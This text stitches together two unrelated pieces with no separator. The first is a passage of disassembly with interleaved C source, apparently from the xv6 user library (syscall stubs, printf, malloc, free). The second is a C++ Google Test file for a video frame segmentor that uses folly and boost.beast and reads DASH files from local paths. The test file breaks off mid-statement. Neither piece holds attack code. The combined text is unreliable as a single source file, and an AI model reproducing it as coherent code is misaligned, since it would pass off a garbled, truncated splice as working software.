00 00 mov $0x9,%eax 5e1: cd 40 int $0x40 5e3: c3 ret 000005e4 <dup>: SYSCALL(dup) 5e4: b8 0a 00 00 00 mov $0xa,%eax 5e9: cd 40 int $0x40 5eb: c3 ret 000005ec <getpid>: SYSCALL(getpid) 5ec: b8 0b 00 00 00 mov $0xb,%eax 5f1: cd 40 int $0x40 5f3: c3 ret 000005f4 <sbrk>: SYSCALL(sbrk) 5f4: b8 0c 00 00 00 mov $0xc,%eax 5f9: cd 40 int $0x40 5fb: c3 ret 000005fc <sleep>: SYSCALL(sleep) 5fc: b8 0d 00 00 00 mov $0xd,%eax 601: cd 40 int $0x40 603: c3 ret 00000604 <uptime>: SYSCALL(uptime) 604: b8 0e 00 00 00 mov $0xe,%eax 609: cd 40 int $0x40 60b: c3 ret 0000060c <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 60c: 55 push %ebp 60d: 89 e5 mov %esp,%ebp 60f: 83 ec 18 sub $0x18,%esp 612: 8b 45 0c mov 0xc(%ebp),%eax 615: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 618: 83 ec 04 sub $0x4,%esp 61b: 6a 01 push $0x1 61d: 8d 45 f4 lea -0xc(%ebp),%eax 620: 50 push %eax 621: ff 75 08 pushl 0x8(%ebp) 624: e8 63 ff ff ff call 58c <write> 629: 83 c4 10 add $0x10,%esp } 62c: c9 leave 62d: c3 ret 0000062e <printint>: static void printint(int fd, int xx, int base, int sgn) { 62e: 55 push %ebp 62f: 89 e5 mov %esp,%ebp 631: 83 ec 38 sub $0x38,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 634: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 63b: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 63f: 74 17 je 658 <printint+0x2a> 641: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 645: 79 11 jns 658 <printint+0x2a> neg = 1; 647: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 64e: 8b 45 0c mov 0xc(%ebp),%eax 651: f7 d8 neg %eax 653: 89 45 ec mov %eax,-0x14(%ebp) 656: eb 06 jmp 65e <printint+0x30> } else { x = xx; 658: 8b 45 0c mov 0xc(%ebp),%eax 65b: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 65e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 665: 8b 4d 10 mov 0x10(%ebp),%ecx 668: 8b 45 ec mov -0x14(%ebp),%eax 66b: ba 00 00 00 00 mov $0x0,%edx 670: f7 f1 div %ecx 672: 89 d0 mov %edx,%eax 674: 8a 90 d8 0a 00 00 mov 0xad8(%eax),%dl 67a: 8d 45 dc lea -0x24(%ebp),%eax 67d: 03 45 f4 add -0xc(%ebp),%eax 680: 88 10 mov %dl,(%eax) 682: ff 45 f4 incl -0xc(%ebp) }while((x /= base) != 0); 685: 8b 45 10 mov 0x10(%ebp),%eax 688: 89 45 d4 mov %eax,-0x2c(%ebp) 68b: 8b 45 ec mov -0x14(%ebp),%eax 68e: ba 00 00 00 00 mov $0x0,%edx 693: f7 75 d4 divl -0x2c(%ebp) 696: 89 45 ec mov %eax,-0x14(%ebp) 699: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 69d: 75 c6 jne 665 <printint+0x37> if(neg) 69f: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 6a3: 74 2a je 6cf <printint+0xa1> buf[i++] = '-'; 6a5: 8d 45 dc lea -0x24(%ebp),%eax 6a8: 03 45 f4 add -0xc(%ebp),%eax 6ab: c6 00 2d movb $0x2d,(%eax) 6ae: ff 45 f4 incl -0xc(%ebp) while(--i >= 0) 6b1: eb 1d jmp 6d0 <printint+0xa2> putc(fd, buf[i]); 6b3: 8d 45 dc lea -0x24(%ebp),%eax 6b6: 03 45 f4 add -0xc(%ebp),%eax 6b9: 8a 00 mov (%eax),%al 6bb: 0f be c0 movsbl %al,%eax 6be: 83 ec 08 sub $0x8,%esp 6c1: 50 push %eax 6c2: ff 75 08 pushl 0x8(%ebp) 6c5: e8 42 ff ff ff call 60c <putc> 6ca: 83 c4 10 add $0x10,%esp 6cd: eb 01 jmp 6d0 <printint+0xa2> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 6cf: 90 nop 6d0: ff 4d f4 decl -0xc(%ebp) 6d3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 6d7: 79 da jns 6b3 <printint+0x85> putc(fd, buf[i]); } 6d9: c9 leave 6da: c3 ret 000006db <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 6db: 55 push %ebp 6dc: 89 e5 mov %esp,%ebp 6de: 83 ec 28 sub $0x28,%esp char *s; int c, i, state; uint *ap; state = 0; 6e1: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 6e8: 8d 45 0c lea 0xc(%ebp),%eax 6eb: 83 c0 04 add $0x4,%eax 6ee: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 6f1: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 6f8: e9 58 01 00 00 jmp 855 <printf+0x17a> c = fmt[i] & 0xff; 6fd: 8b 55 0c mov 0xc(%ebp),%edx 700: 8b 45 f0 mov -0x10(%ebp),%eax 703: 8d 04 02 lea (%edx,%eax,1),%eax 706: 8a 00 mov (%eax),%al 708: 0f be c0 movsbl %al,%eax 70b: 25 ff 00 00 00 and $0xff,%eax 710: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 713: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 717: 75 2c jne 745 <printf+0x6a> if(c == '%'){ 719: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 71d: 75 0c jne 72b <printf+0x50> state = '%'; 71f: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 726: e9 27 01 00 00 jmp 852 <printf+0x177> } else { putc(fd, c); 72b: 8b 45 e4 mov -0x1c(%ebp),%eax 72e: 0f be c0 movsbl %al,%eax 731: 83 ec 08 sub $0x8,%esp 734: 50 push %eax 735: ff 75 08 pushl 0x8(%ebp) 738: e8 cf fe ff ff call 60c <putc> 73d: 83 c4 10 add $0x10,%esp 740: e9 0d 01 00 00 jmp 852 <printf+0x177> } } else if(state == '%'){ 745: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 749: 0f 85 03 01 00 00 jne 852 <printf+0x177> if(c == 'd'){ 74f: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 753: 75 1e jne 773 <printf+0x98> printint(fd, *ap, 10, 1); 755: 8b 45 e8 mov -0x18(%ebp),%eax 758: 8b 00 mov (%eax),%eax 75a: 6a 01 push $0x1 75c: 6a 0a push $0xa 75e: 50 push %eax 75f: ff 75 08 pushl 0x8(%ebp) 762: e8 c7 fe ff ff call 62e <printint> 767: 83 c4 10 add $0x10,%esp ap++; 76a: 83 45 e8 04 addl $0x4,-0x18(%ebp) 76e: e9 d8 00 00 00 jmp 84b <printf+0x170> } else if(c == 'x' || c == 'p'){ 773: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 777: 74 06 je 77f <printf+0xa4> 779: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 77d: 75 1e jne 79d <printf+0xc2> printint(fd, *ap, 16, 0); 77f: 8b 45 e8 mov -0x18(%ebp),%eax 782: 8b 00 mov (%eax),%eax 784: 6a 00 push $0x0 786: 6a 10 push $0x10 788: 50 push %eax 789: ff 75 08 pushl 0x8(%ebp) 78c: e8 9d fe ff ff call 62e <printint> 791: 83 c4 10 add $0x10,%esp ap++; 794: 83 45 e8 04 addl $0x4,-0x18(%ebp) 798: e9 ae 00 00 00 jmp 84b <printf+0x170> } else if(c == 's'){ 79d: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 7a1: 75 43 jne 7e6 <printf+0x10b> s = (char*)*ap; 7a3: 8b 45 e8 mov -0x18(%ebp),%eax 7a6: 8b 00 mov (%eax),%eax 7a8: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 7ab: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 7af: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 7b3: 75 25 jne 7da <printf+0xff> s = "(null)"; 7b5: c7 45 f4 ce 0a 00 00 movl $0xace,-0xc(%ebp) while(*s != 0){ 7bc: eb 1d jmp 7db <printf+0x100> putc(fd, *s); 7be: 8b 45 f4 mov -0xc(%ebp),%eax 7c1: 8a 00 mov (%eax),%al 7c3: 0f be c0 movsbl %al,%eax 7c6: 83 ec 08 sub $0x8,%esp 7c9: 50 push %eax 7ca: ff 75 08 pushl 0x8(%ebp) 7cd: e8 3a fe ff ff call 60c <putc> 7d2: 83 c4 10 add $0x10,%esp s++; 7d5: ff 45 f4 incl -0xc(%ebp) 7d8: eb 01 jmp 7db <printf+0x100> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 7da: 90 nop 7db: 8b 45 f4 mov -0xc(%ebp),%eax 7de: 8a 00 mov (%eax),%al 7e0: 84 c0 test %al,%al 7e2: 75 da jne 7be <printf+0xe3> 7e4: eb 65 jmp 84b <printf+0x170> putc(fd, *s); s++; } } else if(c == 'c'){ 7e6: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 7ea: 75 1d jne 809 <printf+0x12e> putc(fd, *ap); 7ec: 8b 45 e8 mov -0x18(%ebp),%eax 7ef: 8b 00 mov (%eax),%eax 7f1: 0f be c0 movsbl %al,%eax 7f4: 83 ec 08 sub $0x8,%esp 7f7: 50 push %eax 7f8: ff 75 08 pushl 0x8(%ebp) 7fb: e8 0c fe ff ff call 60c <putc> 800: 83 c4 10 add $0x10,%esp ap++; 803: 83 45 e8 04 addl $0x4,-0x18(%ebp) 807: eb 42 jmp 84b <printf+0x170> } else if(c == '%'){ 809: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 80d: 75 17 jne 826 <printf+0x14b> putc(fd, c); 80f: 8b 45 e4 mov -0x1c(%ebp),%eax 812: 0f be c0 movsbl %al,%eax 815: 83 ec 08 sub $0x8,%esp 818: 50 push %eax 819: ff 75 08 pushl 0x8(%ebp) 81c: e8 eb fd ff ff call 60c <putc> 821: 83 c4 10 add $0x10,%esp 824: eb 25 jmp 84b <printf+0x170> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 826: 83 ec 08 sub $0x8,%esp 829: 6a 25 push $0x25 82b: ff 75 08 pushl 0x8(%ebp) 82e: e8 d9 fd ff ff call 60c <putc> 833: 83 c4 10 add $0x10,%esp putc(fd, c); 836: 8b 45 e4 mov -0x1c(%ebp),%eax 839: 0f be c0 movsbl %al,%eax 83c: 83 ec 08 sub $0x8,%esp 83f: 50 push %eax 840: ff 75 08 pushl 0x8(%ebp) 843: e8 c4 fd ff ff call 60c <putc> 848: 83 c4 10 add $0x10,%esp } state = 0; 84b: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 852: ff 45 f0 incl -0x10(%ebp) 855: 8b 55 0c mov 0xc(%ebp),%edx 858: 8b 45 f0 mov -0x10(%ebp),%eax 85b: 8d 04 02 lea (%edx,%eax,1),%eax 85e: 8a 00 mov (%eax),%al 860: 84 c0 test %al,%al 862: 0f 85 95 fe ff ff jne 6fd <printf+0x22> putc(fd, c); } state = 0; } } } 868: c9 leave 869: c3 ret 86a: 90 nop 86b: 90 nop 0000086c <free>: static Header base; static Header *freep; void free(void *ap) { 86c: 55 push %ebp 86d: 89 e5 mov %esp,%ebp 86f: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 872: 8b 45 08 mov 0x8(%ebp),%eax 875: 83 e8 08 sub $0x8,%eax 878: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 87b: a1 04 0b 00 00 mov 0xb04,%eax 880: 89 45 fc mov %eax,-0x4(%ebp) 883: eb 24 jmp 8a9 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 885: 8b 45 fc mov -0x4(%ebp),%eax 888: 8b 00 mov (%eax),%eax 88a: 3b 45 fc cmp -0x4(%ebp),%eax 88d: 77 12 ja 8a1 <free+0x35> 88f: 8b 45 f8 mov -0x8(%ebp),%eax 892: 3b 45 fc cmp -0x4(%ebp),%eax 895: 77 24 ja 8bb <free+0x4f> 897: 8b 45 fc mov -0x4(%ebp),%eax 89a: 8b 00 mov (%eax),%eax 89c: 3b 45 f8 cmp -0x8(%ebp),%eax 89f: 77 1a ja 8bb <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 8a1: 8b 45 fc mov -0x4(%ebp),%eax 8a4: 8b 00 mov (%eax),%eax 8a6: 89 45 fc mov %eax,-0x4(%ebp) 8a9: 8b 45 f8 mov -0x8(%ebp),%eax 8ac: 3b 45 fc cmp -0x4(%ebp),%eax 8af: 76 d4 jbe 885 <free+0x19> 8b1: 8b 45 fc mov -0x4(%ebp),%eax 8b4: 8b 00 mov (%eax),%eax 8b6: 3b 45 f8 cmp -0x8(%ebp),%eax 8b9: 76 ca jbe 885 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 8bb: 8b 45 f8 mov -0x8(%ebp),%eax 8be: 8b 40 04 mov 0x4(%eax),%eax 8c1: c1 e0 03 shl $0x3,%eax 8c4: 89 c2 mov %eax,%edx 8c6: 03 55 f8 add -0x8(%ebp),%edx 8c9: 8b 45 fc mov -0x4(%ebp),%eax 8cc: 8b 00 mov (%eax),%eax 8ce: 39 c2 cmp %eax,%edx 8d0: 75 24 jne 8f6 <free+0x8a> bp->s.size += p->s.ptr->s.size; 8d2: 8b 45 f8 mov -0x8(%ebp),%eax 8d5: 8b 50 04 mov 0x4(%eax),%edx 8d8: 8b 45 fc mov -0x4(%ebp),%eax 8db: 8b 00 mov (%eax),%eax 8dd: 8b 40 04 mov 0x4(%eax),%eax 8e0: 01 c2 add %eax,%edx 8e2: 8b 45 f8 mov -0x8(%ebp),%eax 8e5: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 8e8: 8b 45 fc mov -0x4(%ebp),%eax 8eb: 8b 00 mov (%eax),%eax 8ed: 8b 10 mov (%eax),%edx 8ef: 8b 45 f8 mov -0x8(%ebp),%eax 8f2: 89 10 mov %edx,(%eax) 8f4: eb 0a jmp 900 <free+0x94> } else bp->s.ptr = p->s.ptr; 8f6: 8b 45 fc mov -0x4(%ebp),%eax 8f9: 8b 10 mov (%eax),%edx 8fb: 8b 45 f8 mov -0x8(%ebp),%eax 8fe: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 900: 8b 45 fc mov -0x4(%ebp),%eax 903: 8b 40 04 mov 0x4(%eax),%eax 906: c1 e0 03 shl $0x3,%eax 909: 03 45 fc add -0x4(%ebp),%eax 90c: 3b 45 f8 cmp -0x8(%ebp),%eax 90f: 75 20 jne 931 <free+0xc5> p->s.size += bp->s.size; 911: 8b 45 fc mov -0x4(%ebp),%eax 914: 8b 50 04 mov 0x4(%eax),%edx 917: 8b 45 f8 mov -0x8(%ebp),%eax 91a: 8b 40 04 mov 0x4(%eax),%eax 91d: 01 c2 add %eax,%edx 91f: 8b 45 fc mov -0x4(%ebp),%eax 922: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 925: 8b 45 f8 mov -0x8(%ebp),%eax 928: 8b 10 mov (%eax),%edx 92a: 8b 45 fc mov -0x4(%ebp),%eax 92d: 89 10 mov %edx,(%eax) 92f: eb 08 jmp 939 <free+0xcd> } else p->s.ptr = bp; 931: 8b 45 fc mov -0x4(%ebp),%eax 934: 8b 55 f8 mov -0x8(%ebp),%edx 937: 89 10 mov %edx,(%eax) freep = p; 939: 8b 45 fc mov -0x4(%ebp),%eax 93c: a3 04 0b 00 00 mov %eax,0xb04 } 941: c9 leave 942: c3 ret 00000943 <morecore>: static Header* morecore(uint nu) { 943: 55 push %ebp 944: 89 e5 mov %esp,%ebp 946: 83 ec 18 sub $0x18,%esp char *p; Header *hp; if(nu < 4096) 949: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 950: 77 07 ja 959 <morecore+0x16> nu = 4096; 952: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 959: 8b 45 08 mov 0x8(%ebp),%eax 95c: c1 e0 03 shl $0x3,%eax 95f: 83 ec 0c sub $0xc,%esp 962: 50 push %eax 963: e8 8c fc ff ff call 5f4 <sbrk> 968: 83 c4 10 add $0x10,%esp 96b: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 96e: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 972: 75 07 jne 97b <morecore+0x38> return 0; 974: b8 00 00 00 00 mov $0x0,%eax 979: eb 26 jmp 9a1 <morecore+0x5e> hp = (Header*)p; 97b: 8b 45 f4 mov -0xc(%ebp),%eax 97e: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 981: 8b 45 f0 mov -0x10(%ebp),%eax 984: 8b 55 08 mov 0x8(%ebp),%edx 987: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 98a: 8b 45 f0 mov -0x10(%ebp),%eax 98d: 83 c0 08 add $0x8,%eax 990: 83 ec 0c sub $0xc,%esp 993: 50 push %eax 994: e8 d3 fe ff ff call 86c <free> 999: 83 c4 10 add $0x10,%esp return freep; 99c: a1 04 0b 00 00 mov 0xb04,%eax } 9a1: c9 leave 9a2: c3 ret 000009a3 <malloc>: void* malloc(uint nbytes) { 9a3: 55 push %ebp 9a4: 89 e5 mov %esp,%ebp 9a6: 83 ec 18 sub $0x18,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 9a9: 8b 45 08 mov 0x8(%ebp),%eax 9ac: 83 c0 07 add $0x7,%eax 9af: c1 e8 03 shr $0x3,%eax 9b2: 40 inc %eax 9b3: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 9b6: a1 04 0b 00 00 mov 0xb04,%eax 9bb: 89 45 f0 mov %eax,-0x10(%ebp) 9be: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 9c2: 75 23 jne 9e7 <malloc+0x44> base.s.ptr = freep = prevp = &base; 9c4: c7 45 f0 fc 0a 00 00 movl $0xafc,-0x10(%ebp) 9cb: 8b 45 f0 mov -0x10(%ebp),%eax 9ce: a3 04 0b 00 00 mov %eax,0xb04 9d3: a1 04 0b 00 00 mov 0xb04,%eax 9d8: a3 fc 0a 00 00 mov %eax,0xafc base.s.size = 0; 9dd: c7 05 00 0b 00 00 00 movl $0x0,0xb00 9e4: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 9e7: 8b 45 f0 mov -0x10(%ebp),%eax 9ea: 8b 00 mov (%eax),%eax 9ec: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 9ef: 8b 45 f4 mov -0xc(%ebp),%eax 9f2: 8b 40 04 mov 0x4(%eax),%eax 9f5: 3b 45 ec cmp -0x14(%ebp),%eax 9f8: 72 4d jb a47 <malloc+0xa4> if(p->s.size == nunits) 9fa: 8b 45 f4 mov -0xc(%ebp),%eax 9fd: 8b 40 04 mov 0x4(%eax),%eax a00: 3b 45 ec cmp -0x14(%ebp),%eax a03: 75 0c jne a11 <malloc+0x6e> prevp->s.ptr = p->s.ptr; a05: 8b 45 f4 mov -0xc(%ebp),%eax a08: 8b 10 mov (%eax),%edx a0a: 8b 45 f0 mov -0x10(%ebp),%eax a0d: 89 10 mov %edx,(%eax) a0f: eb 26 jmp a37 <malloc+0x94> else { p->s.size -= nunits; a11: 8b 45 f4 mov -0xc(%ebp),%eax a14: 8b 40 04 mov 0x4(%eax),%eax a17: 89 c2 mov %eax,%edx a19: 2b 55 ec sub -0x14(%ebp),%edx a1c: 8b 45 f4 mov -0xc(%ebp),%eax a1f: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; a22: 8b 45 f4 mov -0xc(%ebp),%eax a25: 8b 40 04 mov 0x4(%eax),%eax a28: c1 e0 03 shl $0x3,%eax a2b: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; a2e: 8b 45 f4 mov -0xc(%ebp),%eax a31: 8b 55 ec mov -0x14(%ebp),%edx a34: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; a37: 8b 45 f0 mov -0x10(%ebp),%eax a3a: a3 04 0b 00 00 mov %eax,0xb04 return (void*)(p + 1); a3f: 8b 45 f4 mov -0xc(%ebp),%eax a42: 83 c0 08 add $0x8,%eax a45: eb 3b jmp a82 <malloc+0xdf> } if(p == freep) a47: a1 04 0b 00 00 mov 0xb04,%eax a4c: 39 45 f4 cmp %eax,-0xc(%ebp) a4f: 75 1e jne a6f <malloc+0xcc> if((p = morecore(nunits)) == 0) a51: 83 ec 0c sub $0xc,%esp a54: ff 75 ec pushl -0x14(%ebp) a57: e8 e7 fe ff ff call 943 <morecore> a5c: 83 c4 10 add $0x10,%esp a5f: 89 45 f4 mov %eax,-0xc(%ebp) a62: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) a66: 75 07 jne a6f <malloc+0xcc> return 0; a68: b8 00 00 00 00 mov $0x0,%eax a6d: eb 13 jmp a82 <malloc+0xdf> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ a6f: 8b 45 f4 mov -0xc(%ebp),%eax a72: 89 45 f0 mov %eax,-0x10(%ebp) a75: 8b 45 f4 mov -0xc(%ebp),%eax a78: 8b 00 mov (%eax),%eax a7a: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } a7d: e9 6d ff ff ff jmp 9ef <malloc+0x4c> } a82: c9 leave a83: c3 ret
#include "pch.h" #include "multimedia/command.h" #include "multimedia/context.h" #include "multimedia/io.segmentor.h" #include "multimedia/media.h" #include "core/exception.hpp" #include <folly/executors/Async.h> #include <folly/executors/CPUThreadPoolExecutor.h> #include <folly/executors/GlobalExecutor.h> #include <folly/executors/task_queue/UnboundedBlockingQueue.h> #include <folly/MoveWrapper.h> #include <boost/beast/core/flat_buffer.hpp> #include <boost/beast/core/multi_buffer.hpp> #include <boost/beast/core/ostream.hpp> #include <boost/container/small_vector.hpp> #include <any> #include <numeric> using boost::beast::multi_buffer; using boost::beast::flat_buffer; using boost::beast::buffers_prefix; using boost::beast::ostream; using boost::beast::read_size; using boost::beast::read_size_or_throw; using boost::asio::const_buffer; using boost::asio::buffer_copy; using boost::asio::buffer_size; using boost::asio::buffer_sequence_begin; using boost::asio::buffer_sequence_end; using boost::asio::dynamic_buffer; auto fill_buffer = [](multi_buffer& buffer, std::string suffix) { auto path_pattern = suffix == "init" ? "D:/Media/dash/tile1-576p-5000kbps_dash{}.mp4" : "D:/Media/dash/tile1-576p-5000kbps_dash{}.m4s"; ostream(buffer) << std::ifstream{ fmt::format(path_pattern, suffix), std::ios::binary }.rdbuf(); }; auto create_buffer = [](std::string suffix) { multi_buffer buffer; fill_buffer(buffer, suffix); return buffer; }; auto create_buffer_map = []() -> decltype(auto) { static std::map<int, multi_buffer> map; static std::once_flag flag; std::call_once(flag, [] { map.emplace(0, create_buffer("init")); for (auto i = 1; i <= 10; ++i) { map.emplace(i, create_buffer(std::to_string(i))); } }); return (map); }; static_assert(std::is_reference<std::invoke_result<decltype(create_buffer_map)>::type>::value); auto sequence_size = [](auto itbegin, auto itend) { auto size = 0i64; while (itbegin != itend) { size += buffer_size(*itbegin); ++itbegin; } return size; }; auto sequence_size2 = [](auto itbegin, auto itend) { auto size = 0i64; while (itbegin != itend) { size += const_buffer{ *itbegin }.size(); ++itbegin; } return size; }; namespace boost::test { TEST(MultiBuffer, BufferSize) { multi_buffer buf_init; multi_buffer buf1; multi_buffer buf2; multi_buffer buf3; fill_buffer(buf_init, "init"); fill_buffer(buf1, "1"); fill_buffer(buf2, "2"); fill_buffer(buf3, "3"); EXPECT_EQ(buffer_size(buf_init.data()), 876); EXPECT_EQ(buffer_size(buf1.data()), 2090); EXPECT_EQ(buffer_size(buf2.data()), 1417); EXPECT_EQ(buffer_size(buf3.data()), 1417); } TEST(MultiBuffer, BufferSizeMap) { auto& buffer_map = create_buffer_map(); auto size = 0i64; for (auto& [index, buffer] : buffer_map) { size += buffer_size(buffer.data()); EXPECT_EQ(&buffer, &buffer_map[index]); } EXPECT_EQ(size, 11'457'930); } } template <template<typename> typename Container> int64_t total_size(Container<const_buffer>& container) { size_t size = 0; for (auto& element : container) { size += element.size(); } return size; } void set_cpu_executor(int concurrency) { static auto executor = std::make_shared<folly::CPUThreadPoolExecutor>( std::make_pair(concurrency, 1), std::make_unique<folly::UnboundedBlockingQueue<folly::CPUThreadPoolExecutor::CPUTask>>(), std::make_shared<folly::NamedThreadFactory>("TestPool")); folly::setCPUExecutor(executor); } namespace core::test { TEST(BufferOperation, Split2Sequence) { multi_buffer buf_int = create_buffer("init"); multi_buffer buf1 = create_buffer("1"); auto list = core::split_buffer_sequence(buf1); auto list2 = core::split_buffer_sequence(buf_int, buf1); auto list3 = core::split_buffer_sequence(buf_int, buf1); EXPECT_EQ(total_size<std::list>(list), 2090); EXPECT_EQ(total_size<std::list>(list2), 2966); EXPECT_EQ(total_size<std::list>(list3), 2966); } } namespace media::test { TEST(FrameSegmentor, Base) { auto& buffer_map = create_buffer_map(); for (auto& [index, buffer] : buffer_map) { media::frame_segmentor frame_segmentor; frame_segmentor.parse_context(core::split_buffer_sequence(buffer), 8); EXPECT_FALSE(frame_segmentor.buffer_available()); break; } } TEST(FrameSegmentor, ReadThree) { auto& buffer_map = create_buffer_map(); auto buffer_list = core::split_buffer_sequence(buffer_map[0], buffer_map[3], buffer_map[5], buffer_map[7]); media::frame_segmentor frame_segmentor; auto count1 = 0; frame_segmentor.parse_context(std::move(buffer_list), 8); while (frame_segmentor.try_read()) { count1 += 1; } auto buffer_list2 = core::split_buffer_sequence(buffer_map[0], buffer_map[2], buffer_map[4], buffer_map[6]); media::frame_segmentor frame_segmentor2; auto count2 = 0; frame_segmentor2.parse_context(std::move(buffer_list2), 8); while (frame_segmentor2.try_read()) { count2 += 1; } } TEST(FrameSegmentor, TryConsume) { auto& buffer_map = create_buffer_map(); media::frame_segmentor frame_segmentor{ core::split_buffer_sequence(buffer_map[0], buffer_map[2], buffer_map[4], buffer_map[6], buffer_map[7], buffer_map[10]), 4 }; auto count = 0ui64; auto increment = 0ui64; try { do { auto frames = frame_segmentor.try_consume(); increment = frames.size(); count += increment > 0 ? increment : 0; } while (increment >= 0); } catch (core::stream_drained_error) {} EXPECT_EQ(count, 125); } TEST(FrameSegmentor, TryConsumeOnce) { auto& buffer_map = create_buffer_map(); media::frame_segmentor frame_segmentor{ core::split_buffer_sequence(buffer_map[0], buffer_map[2], buffer_map[4], buffer_map[6], buffer_map[7], buffer_map[10]), 4 }; auto count = 0; while (!frame_segmentor.try_consume_once().empty() && ++count) {} EXPECT_EQ(count, 125); } } auto create_buffer_from_path = [](std::string path) { EXPECT_TRUE(std::filesystem::is_regular_file(path)); multi_buffer buffer; ostream(buffer) << std::ifstream{ path, std::ios::binary }.rdbuf(); return buffer; }; namespace media::test { TEST(FrameSegmentor, TryConsumeOnceForLargeFile) { auto init_buffer = create_buffer_from_path("D:/Media/dash/full/tile1-576p-5000kbps_dashinit.mp4"); auto tail_buffer = create_buffer_from_path("D:/Media/dash/full/tile1-576p-5000kbps_dash9.m4s"); media::frame_segmentor fs1{ core::split_buffer_sequence(init_buffer, tail_buffer), 4 }; std::any a1{ std::move(init_buffer) }; std::any a2{ std::move(tail_buffer) }; EXPECT_EQ(init_buffer.size(), 0); EXPECT_EQ(tail_buffer.size(), 0); auto count = 0; while (!fs1.try_consume_once().empty() && ++count) {} EXPECT_EQ(count, 25); } } using frame_consumer = folly::Function<bool()>; using frame_builder = folly::Function<frame_consumer(std::list<const_buffer>)>; frame_builder create_frame_builder() { return [](std::list<const_buffer> buffer_list) -> frame_consumer { auto segmentor = folly::makeMoveWrapper( media::frame_segmentor{ std::move(buffer_list), 4 }); return [segmentor]() mutable { return !segmentor->try_consume_once().empty(); }; }; } folly::Future<bool> async_consume(media::frame_segmentor& segmentor, media::pixel_consume& consume, bool copy = false) { if (copy) { return folly::async([&segmentor, &consume]() mutable { return segmentor.try_consume_once(consume); }); } return folly::async([&segmentor, &consume] { return segmentor.try_consume_once(consume); }); } frame_builder create_async_frame_builder(media::pixel_consume& consume) { return [&consume](std::list<const_buffer> buffer_list) -> frame_consumer { auto segmentor = folly::makeMoveWrapper( media::frame_segmentor{ std::move(buffer_list), 4 }); auto decode = folly::makeMoveWrapper(async_consume(*segmentor, consume, true)); return [segmentor, decode, &consume]() mutable { const auto result = std::move(*decode).get(); *decode = async_consume(*segmentor, consume); return result; }; }; } namespace media::test { TEST(Frame, Empty) { media::frame f; EXPECT_TRUE(f.empty()); EXPECT_FALSE(f.operator->() == nullptr); auto f2 = 